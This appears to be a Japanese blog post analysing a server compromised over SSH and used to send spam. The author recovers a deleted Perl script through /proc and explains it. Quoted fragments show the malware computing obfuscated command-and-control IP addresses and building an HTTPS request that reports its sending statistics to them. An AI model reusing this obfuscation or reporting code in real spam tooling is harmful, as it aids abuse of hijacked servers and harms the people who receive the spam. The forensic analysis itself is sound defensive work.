知人のサーバがクラックされた。ssh brute force による一般ユーザへの
ログインぽいのだが、/var/log/secure の記録だと一発でログインされて
いる風(失敗の記録がない...)。
root とられてる? 一応 chkrootkit したが結果としては問題なし。
で、何をやられていたかというと、SPAM メールの大量送信。perl スクリ
プトを送り込まれ、おそらく ssh から直接実行されている(wtmp にはロ
グイン記録が残っていないのでそう判断)。以下のような感じ。
501 20783 0.0 0.2 13056 8440 ? S Aug21 3:13 perl
501 19193 0.0 0.0 8148 2976 ? S 09:35 0:00 \_ /usr/sbin/sendmail -t
スクリプトは何処? lsof すると以下の出力あり。/tmp/ の下に置いたが
unlink してる模様。
perl 20783 user 0r CHR 1,3 2395 /dev/null
perl 20783 user 1w CHR 1,3 2395 /dev/null
perl 20783 user 2w CHR 1,3 2395 /dev/null
perl 20783 user 3r REG 253,0 10801 666887 /tmp/ (deleted)
perl 20783 user 4wW REG 253,0 0 666888 /tmp/...
なので /proc/20783/fd/3 からスクリプトゲット。ここに晒していいのか
な?問題になったら嫌なのでやめておく。改行入れてインデント揃えて解析
してみる。今時間が無いのでざっとだが、結構難解で、どこかに wget で
https 接続して送信リストみたいのを取得しているようなのだが、これがど
こからなのか解析すると固定文字でなくいろいろ計算してる。解析の結果お
そらく以下の IPアドレス。
77.67.80.31
85.214.80.4
ちなみにスクリプトの以下の部分
my $p="1234567890";
: (snip)
if($fjaj==4){
my @p=split '',$p;
my $i721=$p[6];
$i721="$i721$i721.6$i721.";
$i721 .=$p[7].$p[9];
$i721 .='.'.$p[2].$p[0];
return($i721, $bk10) if(aae($i721, $bk10));
}if($fjaj==5){my @p=split '',$p;
my $i721=$p[7].$p[4];
$i721 .='.'.$p[1].$p[0].$p[3];
$i721 .='.'.$p[7].$p[9];
$i721 .='.'.$p[3];
return($i721, $bk10) if(aae($i721, $bk10));
}
ポート番号も何か計算している、その先のリクエストは以下で
求めているようだが、各変数については時間が無いので後で調
べてみることにする。
my $b4ah="https://$jf8a:$bk10/$k7b2?id=$k14n";
$b4ah .="&sent=$jdga";
$b4ah .="¬sent=$jkjp";
$b4ah .="&unknown=".CGI::escape($cbmm) if($cbmm);
$b4ah .="&testsend=1" if($iod9);
$b4ah .="&stat=".ab5($jf8a, $j505);
@c404=ab8($b4ah);